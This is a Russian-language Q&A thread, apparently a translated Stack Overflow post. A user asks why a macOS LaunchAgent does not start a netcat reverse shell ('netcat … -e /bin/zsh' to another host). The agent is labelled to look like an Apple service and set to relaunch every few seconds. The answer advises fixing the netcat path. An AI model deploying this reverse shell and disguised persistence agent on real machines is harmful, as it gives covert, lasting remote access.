Launchctl не запускает оболочку netcat - PullRequest
0 голосов
/ 20 апреля 2020

У меня есть скрипт, как показано, сохраненный в файл / Users / yulkytulky / Library / demo / demo:

netcat 192.168.1.191 12345 -e /bin/zsh

И я создал plist-файл LaunchAgent, чтобы оболочка автоматически запускалась так:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.apple.demo</string>
        <key>RunAtLoad</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
          <string>/bin/sh</string>
          <string>/Users/yulkytulky/Library/demo/demo</string>
        </array>
        <key>StartInterval</key>
        <integer>5</integer>
</dict>
</plist>

Однако при прослушивании не создается никакой оболочки.

Я протестировал изменение сценария на

say hello

, и это сработало! (привет каждые 5 секунд)

Почему это не работает, когда я пытаюсь запустить netcat?

ПРИМЕЧАНИЕ. Я знаю, что скрипт является исполняемым. Я даже могу скопировать путь к сценарию из файла plist, вставить его в терминал, и он работает как положено.

1 Ответ

0 голосов
/ 21 апреля 2020

Дважды проверьте путь к netcat (вы можете сделать это, используя which netcat из оболочки). say находится в /usr/bin/ и, таким образом, обычно находится в стандартных путях, но если ваш исполняемый файл netcat находится в другом месте, вам может потребоваться предоставить полный путь c для него

...